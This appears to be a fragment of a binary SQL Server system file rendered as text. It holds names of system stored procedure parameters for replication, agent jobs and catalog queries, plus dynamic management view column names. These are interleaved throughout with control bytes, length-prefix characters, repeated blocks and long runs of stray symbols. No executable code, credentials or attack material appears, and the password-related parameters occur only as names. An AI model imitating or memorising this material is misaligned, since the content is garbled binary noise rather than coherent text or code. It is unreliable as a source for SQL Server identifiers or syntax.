@pending_io_byte_average6!3<pending_io_byte_count6!32pending_io_count6!3%0processor_group6!3*quantum_used6!3(return_code6!3$4scheduler_address6!3#<signal_worker_address6!3,start_quantum6!3state6!3status6!3 *task_address6!38task_bound_ms_ticks6!3<tasks_processed_count6!3".thread_address6!3<wait_resumed_ms_ticks6!3<wait_started_ms_ticks6!3.worker_address6!3@worker_created_ms_ticks6^@spid16^@spid26%a0@parameter_name6%a4@procedure_schema6%aBCHARACTER_MAXIMUM_LENGTH6%a
HCHARACTER_MAXIMUM_LENGTH_906%a>CHARACTER_OCTET_LENGTH6%aDCHARACTER_OCTET_LENGTH_906%a
$DATA_TYPE6%a*DATA_TYPE_906%a(DESCRIPTION6%a	(IS_NULLABLE6%a4NUMERIC_PRECISION6%a,NUMERIC_SCALE6%a2ORDINAL_POSITION6%a4PARAMETER_DEFAULT6%a:PARAMETER_HASDEFAULT6%a.PARAMETER_NAME6%a.PARAMETER_TYPE6%a4PROCEDURE_CATALOG6%a.PROCEDURE_NAME6%a2PROCEDURE_SCHEMA6(language_id6"stopword6\number6\&permission6\type64@accent_sensitive6@lcid6 @phrase66concatenated_terms6c0is_event_logged6c(language_id6c&message_id6c"severity6%a$TYPE_NAME6%a0LOCAL_TYPE_NAME6%aXSS_XML_SCHEMACOLLECTION_CATALOGNAME6%aVSS_XML_SCHEMACOLLECTION_SCHEMANAME6%aHSS_XML_SCHEMACOLLECTIONNAME6%a6SS_UDT_CATALOGNAME6%a4SS_UDT_SCHEMANAME6%a(SS_UDT_NAME6%aBSS_UDT_ASSEMBLY_TYPENAME6%a:SS_TYPE_CATALOG_NAME6%a6SS_TYPE_SCHEMANAME6%a<SS_DATETIME_PRECISION60@tran_sub_table60@property_table60@sqlqueue_table6J@subscription_articles_table6&@p2p_table67@bm67$@coltoadd67@toset6/@type6/@mode6
U8 @job_id6
U8*@category_id6آ.@publicationID6آ&@articleID6آ.@tracercmdtype6آ&@tracerstr6آ&@publisher6	^&@publisher6	^,@publisher_db6	^*@publication6u@type6u*@publication6u*@from_backup6=i&@publisher6=i,@publisher_db6=i*@publication6=i(@subscriber6=i.@subscriber_db6=i6@subscription_type6=i&@sync_type6=i @status6=i	0@frequency_type6=i
8@frequency_interval6=iJ@frequency_relative_interval6=iJ@frequency_recurrence_factor6=i
4@frequency_subday6=iF@frequency_subday_interval6=iD@active_start_time_of_day6=i@@active_end_time_of_day6=i6@active_start_date6=i2@active_end_date6=i>@optional_command_line6=i(@agent_name6=i*@merge_jobid6=i,@offloadagent6=i.@offloadserver6=i$@hostname6=i*@description6=i@subid6=i$@internal6=iD@publisher_engine_edition66Q&@publisher66Q.@refreshpolicy64@source_object_id6bB*@publication6><(@generation6><*@changecount,@offloadagent6=i.@offloadserver6=i$@hostname6=i*@description6=i@subid6=i$@internal6=iD@publisher_engine_edition66Q&@publisher66Q.@refreshpolicy68@original_publisher6<@redirected_publisher6&@pubdbname6B@publisher_linked_server68@drop_linked_server64@source_object_id6&@tablenick6bB*@publicationVZ*




$npj
D
&

2XTP*|j@0xt*r2vJ~"X|H~L 


r
N


		B		d>.X&Fb4RNf*^0\&l@`B(`	N)1>{=6G(object_name6G(object_type6G
"priority6G&request_id6G*request_time6G&session_id6G	state6Gtype6G wait_id6ȯ(@index_name6ȯ,@table_schema6>available_page_file_kb6Javailable_physical_memory_kb6@kernel_nonpaged_pool_kb6:kernel_paged_pool_kb6(pdw_node_id60system_cache_kb6Psystem_high_memory_signal_state6	Nsystem_low_memory_signal_state6
Bsystem_memory_state_desc66total_page_file_kb6Btotal_physical_memory_kb6>$@nulltype6>@owner6>$@phystype6>$@typename6ZG$DriveName&W6&W@geom6Yj*component_id6Yj.component_name6Yj"group_id6yHallocated_extent_page_count6y(database_id6y file_id6y*filegroup_id6y	Xinternal_object_reserved_page_count6y
@mixed_extent_page_count6y(pdw_node_id6y2total_page_count6yLunallocated_extent_page_count6yPuser_object_reserved_page_count6yTversion_store_reserved_page_count6(dms_core_id6(pdw_node_id6status6qK$@loginame6Ν&ip_address6Ν.ip_subnet_mask6Ν is_dhcp6Ν(listener_id6Ν4network_subnet_ip6ΝBnetwork_subnet_ipv4_mask6ΝJnetwork_subnet_prefix_length6Νstate6Ν	&state_desc6D
"affinity6D,creation_time6D*event_handle6D<fiber_context_address6D&fiber_data6D8instruction_address6D2is_impersonating6DDis_waiting_on_loader_lock6D(kernel_time6Dlocale6D*os_thread_id6D(pdw_node_id6D"priority6D0processor_group6D4scheduler_address6D*self_address6D	6stack_base_address6D<stack_bytes_committed6D2stack_bytes_used6D
4stack_end_address6D8started_by_sqlservr6Dstatus6D.thread_address6D,thread_handle6Dtoken6D,usermode_time6D.worker_address6׵(@table_nameE6E @hexstr6p8@qual_source_object6p@pubid6p(@columnName6p.@schemasubtype6}Q&@publisher6}Q,@publisher_db6}Q*@publication6}Q$@reserved6}Q*@from_backup676@pubid676@value6)K6@subtype_addcolumn6)K.@subtype_adddf6)K@objid6)K@@break_add_into_singles6)K"@subtype6)K:@subscription_active6)K*@debug_printXV6XV@cmd6(f"@objname6(f$@objowner67o/(@article_id6z
&@publisher6
(@session_id6
$@agent_id6
&@runstatus6
$@comments6
:@update_existing_row6
0@updateable_row6
&@log_error6
,@update_stats6
	$@phase_id6

,@article_name6
2@article_inserts6
2@article_updates6

2@article_deletes6
6@article_conflicts6
<@article_rows_retried6
D@article_percent_complete6
F@article_estimated_changes6
>@article_relative_cost6
4@session_duration6
.@delivery_time6
*@upload_time6
.@download_time6
8@schema_change_time6
>@prepare_snapshot_time6
.@delivery_rate6
0@time_remaining6
D@session_percent_complete6
@@session_upload_inserts6
@@session_upload_updates6
@@session_upload_deletes6
D@session_upload_conflicts6
 J@session_upload_rows_retried6
!D@session_download_inserts6
"D@session_download_updates6
#D@session_download_deletes6
$H@session_download_conflicts6
%N@session_download_rows_retried6
&@@session_schema_changes6
'<@session_bulk_inserts6
(R@session_metadata_rows_cleanedup6
)T@session_estimated_upload_changes6
*X@session_estimated_download_changes6
+2@connection_type6
,@subid6
-*@info_filter64@secondary_server68@secondary_database6^$@agent_id6^(@agent_type6];$@job_type6%U,@source_table6%U*@table_owner6,@mode6,@qualv:



6
			x	J	$		v>pHf>|*`R`2Z|
<z\Nb,Lz0pl2l< `^rB.ZB>
p
F>~dH"`(,t)
.XD60ROUTINE_CATALOG6*ROUTINE_NAME6.ROUTINE_SCHEMA6*ROUTINE_TYPE62SPECIFIC_CATALOG6,SPECIFIC_NAME60SPECIFIC_SCHEMA6U(@index_name6U(@table_name6U,@table_schema6L(@table_name6L,@table_schema6L(@table_type6$@newvalue6C<event_session_address6C0execution_count6C<execution_duration_ms6C(target_data6C(target_name6C8target_package_guid6qV,@table_schema6
@name6
4@referenced_class6
8is_caller_dependent6
4referencing_class6
>referencing_class_desc6
@referencing_entity_name6
.referencing_id6
@referencing_schema_name6$action_id6	,action_in_log6&class_desc68configuration_level6<containing_group_name6:covering_action_name6Hcovering_parent_action_name6name64parent_class_desc6I"group_id6I@primary_recovery_health6IJprimary_recovery_health_desc6I0primary_replica6IDsecondary_recovery_health6INsecondary_recovery_health_desc6I>synchronization_health6IHsynchronization_health_desc6y*@fUsePattern6y(@table_name6y*@table_owner6y2@table_qualifier6(UDT_CATALOG6&UDT_SCHEMA6
"UDT_NAME62TYPE_UDT_CATALOG60TYPE_UDT_SCHEMA6,TYPE_UDT_NAME6 ,SCOPE_CATALOG6!*SCOPE_SCHEMA6"&SCOPE_NAME6&6ROUTINE_DEFINITION6+0SQL_DATA_ACCESS6-"SQL_PATH6.:SCHEMA_LEVEL_ROUTINE64@qual_object_name6@objid6<@pass_through_scripts6(@objecttype6O&@publisher6O*@publication6O:@alt_snapshot_folder6O(@force_null634@upgrade_metadata63,@upgrade_done6t"@srvname6t$@agent_id6t(@agent_type6 @name6o&@publisher6o"@version6.*@publication6.(@subscriber6..@subscriber_db63Ǘ"@article63Ǘ*@publication63Ǘ.@creation_mode63Ǘ$@is_debug63Ǘ@alter63Ǘ&@usesqlclr68Z.@originator_id68Z6@origin_datasource68Z"@tran_id68Z @row_id68Z0@conflict_table6d*@publication6d&@publisher6d,@publisher_db6'&@publisher6'@login6'$@password6'$@provider6(@request_id6*@publication62@originator_node6.@originator_db6$@agent_id62@last_xact_seqno6&@get_count6:@compatibility_level6.@subdb_version62@read_query_size6,@publisher_id6,@publisher_db6*@publication6.@subscriber_db62@subscriber_name6@subid62@first_anonymous68@subscriber_version6	D@publisher_engine_edition6&@publisher6,@publisher_db6*@publication6(@subscriber6.@subscriber_db6,@reset_reinit6EZ&@publisher6EZ&@pubdbname6EZB@publisher_linked_server6EZ8@drop_linked_server69W@pubid69W@artid69W @exists6:@num_genhistory_rows66@num_contents_rows68@num_tombstone_rows6B@aggressive_cleanup_only6L@pubid6=b@pubid6C$@viewname6C<@use_partition_groups6CD@can_use_partition_groups6C:@has_dynamic_filters6CN@dynamic_filters_function_list6C0@uses_host_name6C4@uses_suser_sname6@pubid6$@nickname6*@publication6,@article_name6$@tname6,@partition_id6"@maxrows6"@genlist6&@tablenick6"@rowguid6@pubid6 @mingen6 @maxgen6	>@enumentirerowmetadata6x&@publisher6x,@publisher_db6x*@publication6x2@datasource_type6x*@server_name6x"@db_name6x2@datasource_path6x*@compatlevel6E%(@procsuffix6i,@partition_id62@ident_increment6.@used_till_nowicl
4

^
			n	.r8pXzT*4T&	V&z

r@2~2ZF,n6Rh4 fBD:`,|d&Rd(lL$z4
`*JJN6`pDD
j




pDFp`	)F]O	?6E2avg_load_balance6E4cpu_affinity_mask6E	:idle_scheduler_count6EJio_completion_worker_address6E:memory_clerk_address6E.memory_node_id6E<memory_object_address6E node_id6E0node_state_desc6E>online_scheduler_count6E<online_scheduler_mask6E(pdw_node_id6E
Jpermanent_task_affinity_mask6E0processor_group6E>resource_monitor_state6EBtimer_task_affinity_mask6D,default_value6D4has_default_value6D
$is_output6D	&max_length6Dname6D$object_id6D*parameter_id6D$precision6D2procedure_number6Dscale6D.system_type_id6D*user_type_id6D
4xml_collection_id6,*@column_name6,.@table_catalog6,(@table_name6,,@table_schema6,,@table_server6|data6|event6|(pdw_node_id6*@grantpublic6 @object6@owner6(action_name68action_package_guid6&event_name66event_package_guid6<event_session_address6y9(@ConsumerId6y9(@DatabaseId6y9*cache_buffer6y9(consumer_id6y9(database_id6y90future_interest6y9&incomplete6y9
0is_emergent_mem6y9	4is_log_read_ahead6y94last_log_block_id6y9
6persistence_status6y92recovery_unit_id6y9(ref_counter6y9size6y96start_log_block_id6!=BCHARACTER_MAXIMUM_LENGTH6!=HCHARACTER_MAXIMUM_LENGTH_286!=HCHARACTER_MAXIMUM_LENGTH_906!=>CHARACTER_OCTET_LENGTH6!=DCHARACTER_OCTET_LENGTH_286!=DCHARACTER_OCTET_LENGTH_906!=<CHARACTER_SET_CATALOG6!=BCHARACTER_SET_CATALOG_286!=BCHARACTER_SET_CATALOG_906!=#6CHARACTER_SET_NAME6!=%<CHARACTER_SET_NAME_286!=$<CHARACTER_SET_NAME_906!= :CHARACTER_SET_SCHEMA6!="@CHARACTER_SET_SCHEMA_286!=!@CHARACTER_SET_SCHEMA_906!=&4COLLATION_CATALOG6!=(:COLLATION_CATALOG_286!=':COLLATION_CATALOG_906,*@policy_name6,(@event_data6,(@history_id6"@timeout6$@lockmode6.@lock_acquired6}4(@agent_type6`5;*@publication6`5;"@article6`5;.@source_object6`5;8@destination_object6`5;@type6`5;2@creation_script6`5;*@description6`5;4@pre_creation_cmd6`5;	.@schema_option6`5;
6@destination_owner6`5; @status6`5;@artid6w&@publisher6w,@publisher_db6w(@subscriber6w(@article_id6w.@subscriber_db6w @status6w8@subscription_seqno6w*@publication6w	"@article6w
6@subscription_type6w&@sync_type6w:@snapshot_seqno_flag6w
0@frequency_type6w8@frequency_interval6wJ@frequency_relative_interval6wJ@frequency_recurrence_factor6w4@frequency_subday6wF@frequency_subday_interval6wD@active_start_time_of_day6w@@active_end_time_of_day6w6@active_start_date6w2@active_end_date6w>@optional_command_line6w*@update_mode6w8@loopback_detection6w8@distribution_jobid6w,@offloadagent6w.@offloadserver6w4@dts_package_name6w<@dts_package_password6w<@dts_package_location6w >@distribution_job_name6w!$@internal6w"D@publisher_engine_edition6w#*@nosync_type6E+6&@publisher6E+6,@publisher_db6E+6*@publication6E+6&@tracer_id6&@object_id64@capture_instance6&@publisher6,@publisher_db6*@publication67@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!FX

p
.
l(ZHX"dx


n
8

		z	J	"	(,n@DjJ jB@@
8ffBjRh4ZRx^B^:Z*|>J`)
6,@q76,@q86,	@q96p @dbname6p:@selective_xml_index6@ccopt6@ccopt6@ccopt6@ccopt6@ccopt6@ccopt6@ccopt6@ccopt6	@ccopt6
@ccopt6@ccopt6@ccopt6
@ccopt6*@fUsePattern6
*@fUsePattern6*@fUsePattern6
*@fUsePattern6*@fUsePattern6*@fUsePattern6

*@fUsePattern6 @handle6 @handle6 @handle6 @handle6 @handle6 @handle6 @handle6 @handle6	 @handle6
 @handle6 @handle6 @handle6
 @handle6
&@NameScope6&@NameScope6"@ODBCVer6"@ODBCVer6"@ODBCVer6"@ODBCVer6
"@ODBCVer6@p16@p16@p16@p16@p16@p16@p16	@p16
@p16@p16@p16
@p16@p26@p26@p26@p26@p26,F@q706,G@q716,H@q726,I@q736,J@q746,K@q756,L@q766,M@q776,N@q786,O@q796,P@q806,Q@q816,R@q826,S@q836,T@q846,U@q856,V@q866,W@q876,X@q886,Y@q896,Z@q906,[@q916,\@q926,]@q936,^@q946,_@q956,`@q966,a@q976,b@q986,c@q996, @qValue6,*@residueText6,$@rowIndex6X0@trigger_procid6X(@trigger_op6X@owner6
` @dbname6
`$@filename6
`D@subscriber_security_mode6
`4@subscriber_login6
`:@subscriber_password6
`F@distributor_security_mode6
`6@distributor_login6
`<@distributor_password6
`	B@publisher_security_mode6
`
2@publisher_login6
`8@publisher_password6
`&@job_login6
`
,@job_password6
`@@db_master_key_password6]*@publication6]"@article6]&@publisher6.$@agent_id6.(@xact_seqno6i0X&@publisher6i0X,@publisher_db6i0X*@publication6i0X4@publication_type6i0X.@refreshpolicy6Z@type6Z @exists6Z$@job_name6Z @job_id6Z,@job_step_uid6Z$@proxy_id6Z,@publisher_id6Z.@subscriber_id6Z	&@publisher6Z
,@publisher_db6Z*@publication6Z(@subscriber6Z
.@subscriber_db6Z6@independent_agent6Z.@frompublisherLo6Lo&@object_id6Lo*@object_name6m=$@srv_orig6m="@db_orig6m=$@keep_cdc6Q0@qualified_name6Q@artid6Q8@pub_identity_range6Q0@identity_range6UN@pubid6-@pubid6-@subid6-,@replicastate60@publisher_type6,F@q706,G@q716,H@q726,I@q736,J@q746,K@q756,L@q766,M@q776,N@q786,O@q796,P@q806,Q@q816,R@q826,S@q836,T@q846,U@q856,V@q866,W@q876,X@q886,Y@q896,Z@q906,[@q916,\@q926,]@q936,^@q946,_@q956,`@q966,a@q976,b@q986,c@q996, @qValue6,*@residueText6,$@rowIndex6M.@verbose_level6M(@drop_table6a*@publication6a$@category6a.@empty_tranpub6X0@trigger_procid6X(@trigger_op6X@owner6
` @dbname6
`$@filename6
`D@subscriber_security_mode6
`4@subscriber_login6
`:@subscriber_password6
`F@distributor_security_mode6
`6@distributor_login6
`<@distributor_password6
`	B@publisher_security_mode6
`
2@publisher_login6
`8@publisher_password6
`&@job_login6
`
,@job_password6
`@@db_master_key_password6]*@publication6]"@article6]&@publisher6鷩*@publication6鷩"@article6鷩@objid6h&@publisher6h0@publication_id6h(@article_id6h(@tablespace6.$@agent_id6.(@xact_seqno6i0X&@publisher6i0X,@publisher_db6i0X*@pub|dL4t\D"tN.nN.Z0jL.z\> Tz


L&>

xTP"$~PpV&v|2X6N*nP2




f
L
2

					|	b	H	.		xx^D*`@)1-5l6I2counter_category6I*counter_name6I,counter_value6I,instance_name6I2last_update_time6I(pdw_node_id6
4@data_compression6
$@index_id6
*@object_name6
4@partition_number6
*@schema_name67icolid67i
,collation_10067i*collation_2867i	*collation_9067iname67i$object_id67i$schema_id67i4tds_collation_10067i2tds_collation_2867i2tds_collation_906 @dbname6=+" @handle6=+""columnid6=+" eventid6~4BCHARACTER_MAXIMUM_LENGTH6~4>CHARACTER_OCTET_LENGTH6~4<CHARACTER_SET_CATALOG6~46CHARACTER_SET_NAME6~4:CHARACTER_SET_SCHEMA6~44COLLATION_CATALOG6~4.COLLATION_NAME6~42COLLATION_SCHEMA6~4 2COLUMN_COMPFLAGS6~4.COLUMN_DEFAULT6~4*COLUMN_FLAGS6~4(COLUMN_GUID6~4
4COLUMN_HASDEFAULT6~4(COLUMN_LCID6~4(COLUMN_NAME6~4,COLUMN_PROPID6~4!,COLUMN_SORTID6~4"8COLUMN_TDSCOLLATION6~4$DATA_TYPE6~46DATETIME_PRECISION6~4(DESCRIPTION6~4.DOMAIN_CATALOG6~4(DOMAIN_NAME6~4,DOMAIN_SCHEMA6~4#(IS_COMPUTED6~4
(IS_NULLABLE6~44NUMERIC_PRECISION6~4,NUMERIC_SCALE6~4$object_id6~4	2ORDINAL_POSITION6~4$schema_id6~4,2SS_IS_COLUMN_SET6~4+*SS_IS_SPARSE6~4*BSS_UDT_ASSEMBLY_TYPENAME6~4'6SS_UDT_CATALOGNAME6~4)(SS_UDT_NAME6~4(4SS_UDT_SCHEMANAME6~4$XSS_XML_SCHEMACOLLECTION_CATALOGNAME6~4%VSS_XML_SCHEMACOLLECTION_SCHEMANAME6~4&HSS_XML_SCHEMACOLLECTIONNAME6~4,TABLE_CATALOG6~4&TABLE_NAME6~4*TABLE_SCHEMA6~4$TYPE_GUID6T6$@loginame6T6&@logintype66,cache_address66,entries_count66:entries_in_use_count66name660pages_in_use_kb66"pages_kb66(pdw_node_id66type6bbname6bb*principal_id6bbsid6bbtype6bbusage6g$@newowner6g"@objname6\u*@publication6\u&@publisher6\u,@publisher_db6\u6@subscription_type6@ GRANTEE6@ GRANTOR6@	*IS_GRANTABLE6@
2IS_GRANTABLE_STR6@$object_id6@.PRIVILEGE_TYPE6@$schema_id6@,TABLE_CATALOG6@&TABLE_NAME6@*TABLE_SCHEMA6j$@rolename6*@column_name6*@schema_type6(@table_name6,@table_schema6J @handle6J$attribute6@artid6.@publishertype6 @object6@owner62&@publisher62,@publisher_db62*@publication62&@owner_sid6@mode6(@islocalpub6$@certname6$@targetdb682*@publication682(@subscriber6~&@publisher6~,@publisher_db6~@login6~@user6@name6&@operation6at*@publication6˂*@publication6˂(@subscriber6˂0@destination_db6˂&@publisher64@qual_object_name6@objid6<@pass_through_scripts68@target_object_name6kU$@agent_id6kU,@no_init_sync6kU2@last_xact_seqno6
pjob_id6
p"run_date6
p"run_time6,G@guid6,G@mystr6l&@tablenick6l$@procname6*@publication6D@dynamic_snapshot_jobname6@@dynamic_snapshot_jobid6P@logical_record_parent_nickname6N@logical_record_parent_rowguid6$@replnick6:@parent_row_inserted6A0@filtered_table6A:@subset_filterclause6A:@has_dynamic_filters6AN@dynamic_filters_function_list6܈@pubid6܈0@tablenickarray6܈,@rowguidarray6@objid6&@missingbm62@missingcolcount6J'a,@etiTableName6Gn&@tablename6Gn@flags6_&@loginname6_@flagsnN"D(j&<pfX2^4$TD~lB"H j&RP(


V
*

l@J

v
L

			t	@		nF\4X&X"ftJF$hBnjL(jN F$nF`))0H6s0@parameter_name6s0@parameter_name6s0@procedure_name6s4@procedure_schema6s4@procedure_schema6U}(database_id6U}&error_code6U}(in_progress6U}job_id6U}&object_id16U}&object_id26U}&object_id36U}&object_id46U}	*request_type6U}
(retry_count6U}&session_id6U}(time_queued6F@alter6F"@article6F0@for_subscriber6F*@publication6/(@objecttype6/@objid6/<@pass_through_scripts6/4@qual_object_name6z$@resample6@spid6,ansi_position6	,creation_time6$cursor_id62dormant_duration64fetch_buffer_size66fetch_buffer_start6
*fetch_status68is_async_population66is_close_on_commit6
 is_open6name68plan_generation_num6&properties6reads6&session_id6&sql_handle6:statement_end_offset6>statement_start_offset6(worker_time6writes6YN8@constraint_catalog6YN8@constraint_catalog6YN2@constraint_name6YN2@constraint_name6YN6@constraint_schema6YN6@constraint_schema6YN2@constraint_type6YN2@constraint_type6YN.@table_catalog6YN.@table_catalog6YN(@table_name6YN,@table_schema6YN,@table_schema6WQ)(database_id6WQ)2equality_columns6WQ)2included_columns6WQ)*index_handle6WQ)6inequality_columns6WQ)$object_id6WQ)$statement6@ command6@4distribution_type6@	"end_time6@"error_id6@,location_type6@.operation_type6@&request_id6@$row_count6@&start_time6@status6@&step_index6@
6total_elapsed_time6eL@pubid6e2active_ios_count6e6active_tasks_count6e8completed_ios_count6e>completed_ios_in_bytes6e	Jdefault_memory_clerk_address6e:enqueued_tasks_count6e*host_address6ename6\V$@job_name6\V @job_id6\V,@job_step_uid6(W3.@source_object6(W3,@source_owner6&@win_login61"@subside2@62@ @ddlcmd62@(@FirstToken62@(@objectType62@ @dbname62@@owner62@"@objname62@,@targetobject6$N&@publisher6'7*@publication6'7"@article6'7(@subscriber6'70@destination_db6'7@found6'7&@publisher1
61
@cmd61
"@proctag6*@publication6"@article6@objid6$@proctype6(@fdodeclare6y&@publisher6y,@publisher_db6y*@publication6y(@xact_seqno6jG$@agent_id6le(@subscriber6le @is_jet6le:@Jet_datasource_path6*h48@original_publisher6*h4,@publisher_db6*h4<@redirected_publisher6*h4B@publisher_linked_server6*h4.@target_server64@capture_instance6.@source_schema6*@source_name64@source_object_id6a"@name_in6a$@name_out6H.@source_object6H"@rowguid6H*@delete_type6m.@function_name6}@pubid6}<@use_partition_groups6}D@can_use_partition_groups6z$@altrepid6z(@altrecguid6z&@altrecgen6>"@guidsrc6>@gen6>@pubid6>&@pubid_ins6>&@nicknames6>"@artnick6>*@compatlevel6~&@commongen6~.@commongenguid6~0@commongenvalido6o @bitmap6o @colidx6G=&@tablenick6G="@rowguid6z/$@command16z/*@replacechar6z/$@command26z/$@command36z/(@precommand6z/*@postcommand\2p8
<jTxjJ<vv
<^R|
V
8

nL*t4R\0hD X.


 Flv
J
"
			b	,	Z"d>d.b0tN@j:@*bD"dB$^8Xt$`i-W)wk`0-S@procedure_name0-88
O@group_number0-W@procedure_schema0-S@parameter_name0-aK@table_name0-aM@table_owner0-aU@table_qualifier0-adK@table_type0-ahhM@fUsePattern0-+M@srvrolename-s+0-s+W@varbinary8_value0-EI@publisher0-EO@publisher_db0-EM@publication0-EK@subscriber0-EQ@subscriber_db0-E88
Y@subscription_type0-EQ@schemaversion0-EhhY@run_at_subscriber0-vY@subscriber_server0-vQ@subscriber_db0-chhA@onoff0-^I@publisher0-^O@publisher_db0-^M@publication0-^K@subscriber0-^Q@subscriber_db0-^88
O@merge_status0-^Q@merge_message0-^==K@merge_time0-^	88
S@merge_duration0-^
jjc@merge_percent_complete0-!M@publication0-!E@article0-!hhO@returnfilter0-!I@publisher0-!88
A@found0-~88
Cbuckets0-~88
Mhashed_trans0-~88
Scompleted_trans0-~88
Wcompensated_trans0-~040Sfirst_begin_lsn0-~040Slast_commit_lsn0-I@publisher0-O@publisher_db0-M@publication0-88
S@publication_id0-88
W@publication_type0-hhY@independent_agent0-hhS@immediate_sync0-hhK@allow_push0-	hhK@allow_pull0-
hhU@allow_anonymous0-S@snapshot_agent0-U@logreader_agent0-
M@description0-88
I@retention0-M@vendor_name0-88
M@sync_method0-hhe@allow_subscription_copy0-88
[@thirdparty_options0-hhY@allow_queued_tran0-88
K@queue_type0-S@publisher_type0-88
E@options0-00a@retention_period_unit0-88
g@publisher_engine_edition0-hho@allow_initialize_from_backup0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-K@xact_seqno0-88
G@agent_id0-M@timestampbm0-88
A@objid0-$$A@pubid0-mI@tablename0-mI@ownername0-mG@procname0-m$$A@pubid0-m$$A@artid0-mhhg@generate_downlevel_procs0-mhhg@generate_subscriber_proc0-mY@destination_ownerK@allow_pull0-
hhU@allow_anonymous0-S@snapshot_agent0-U@logreader_agent0-
M@description0-88
I@retention0-M@vendor_name0-88
M@sync_method0-hhe@allow_subscription_copy0-88
[@thirdparty_options0-hhY@allow_queued_tran0-88
K@queue_type0-=DEF[hqz+
P>116Ox)


<
Es&~4DC\4
		E	Z
uY` -J)?
HXn0-c4=text0-rOO@table_schema0-rOE@grantor0-rOE@grantee0-d?class0-d?value0-dxx=name0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-ԺM@publication0-B|M@publication0-?@name0-44O@publisher_id0-O@publisher_db0-M@publication0-44Q@subscriber_id0-Q@subscriber_db0-88
Y@subscription_type0-hhI@local_job0-	88
S@frequency_type0-
88
[@frequency_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-
88
W@frequency_subday0-88
i@frequency_subday_interval0-88
g@active_start_time_of_day0-88
c@active_end_time_of_day0-88
Y@active_start_date0-88
U@active_end_date0-88
Q@retryattempts0-88
K@retrydelay0-@E@command0-88
G@agent_id0-[@distribution_jobid0-88
M@update_mode0-hhO@offloadagent0-Q@offloadserver0-W@dts_package_name0-_@dts_package_password0-88
_@dts_package_location0-44g@subscriber_security_mode0-W@subscriber_login0- ]@subscriber_password0-!I@job_login0-"O@job_password0-#G@internal0-$]@subscriber_provider0-%@[@subscriber_datasrc0-&@]@subscriber_location0-'@k@subscriber_provider_string0-([@subscriber_catalog0-D-?@name0-D-88
A@hours0-D-88
O@session_type0-[@original_publisher0-_@redirected_publisher0-I@pubdbname0-e@publisher_linked_server0-hh[@drop_linked_server0-88
I@tablenick0-88
M@changecount0-E@gen_cur-աhh0-ա$$A@pubid0-{mI@tablename0-{mI@ownername0-{mG@procname0-{m$$A@pubid0-{m$$A@artid0-{mhhg@generate_subscriber_proc0-{mY@destination_ownerK@createmode0-~ahhS@from_scripting0-B|M@publication0-I@publisher0-C@script0-hhQ@security_mode0-A@login0-G@password0-!E88
?pubid0-!EM@publication0-!EI@publisher0-!ES@publisher_type0-M@publication0-E@article0-88
A@objid0-88
A@artid0-hhK@queued_pub0-?@name0-44O@publisher_id0-O@publisher_db0-M@publication0-44Q@subscriber_id0-Q@subscriber_db0-88
Y@subscription_type0-hhI@local_job0-	88
S@frequency_type0-
88
yVcf

A
J[
z
%
	i		Bh
qv)Lvaz1rAT1uE]f`-))
|0-
88
Kpdw_node_id0-
88
Mcomponent_id0-
_component_instance_id0-
88
Ealert_id0-
HHWalert_instance_id0-
Ocurrent_value0-
Qprevious_value0-
==Kcreate_time0-Qtransaction_id0-88
Kdatabase_id0-==sdatabase_transaction_begin_time0-88
gdatabase_transaction_type0-88
idatabase_transaction_state0-88
kdatabase_transaction_status0-88
mdatabase_transaction_status20-database_transaction_log_record_count0-	88
database_transaction_replicate_record_count0-
{database_transaction_log_bytes_used0-database_transaction_log_bytes_reserved0-88
database_transaction_log_bytes_used_system0-
88
database_transaction_log_bytes_reserved_system0-ll

qdatabase_transaction_begin_lsn0-ll

odatabase_transaction_last_lsn0-ll

database_transaction_most_recent_savepoint_lsn0-ll

sdatabase_transaction_commit_lsn0-ll

database_transaction_last_rollback_lsn0-ll

ydatabase_transaction_next_undo_lsn0-88
Kpdw_node_id0-)?@name0-)xI@subsystem0-)W@owner_login_name0-)C@server0-)G@username0-)O@databasename0-)00E@enabled0-)88
G@freqtype0-)	88
O@freqinterval0-)
88
M@freqsubtype0-)88
U@freqsubinterval0-)88
_@freqrelativeinterval0-)
88
_@freqrecurrencefactor0-)88
U@activestartdate0-)88
Q@activeenddate0-)88
_@activestarttimeofday0-)88
[@activeendtimeofday0-)88
M@nextrundate0-)88
M@nextruntime0-)88
M@runpriority0-)Y@emailoperatorname0-)88
Q@retryattempts0-)88
K@retrydelay0-)@E@command0-)88
c@loghistcompletionlevel0-)88
_@emailcompletionlevel0-)M@description0-)Y@tagadditionalinfo0-)88
M@tagobjectid0-)88
Q@tagobjecttype0-)88
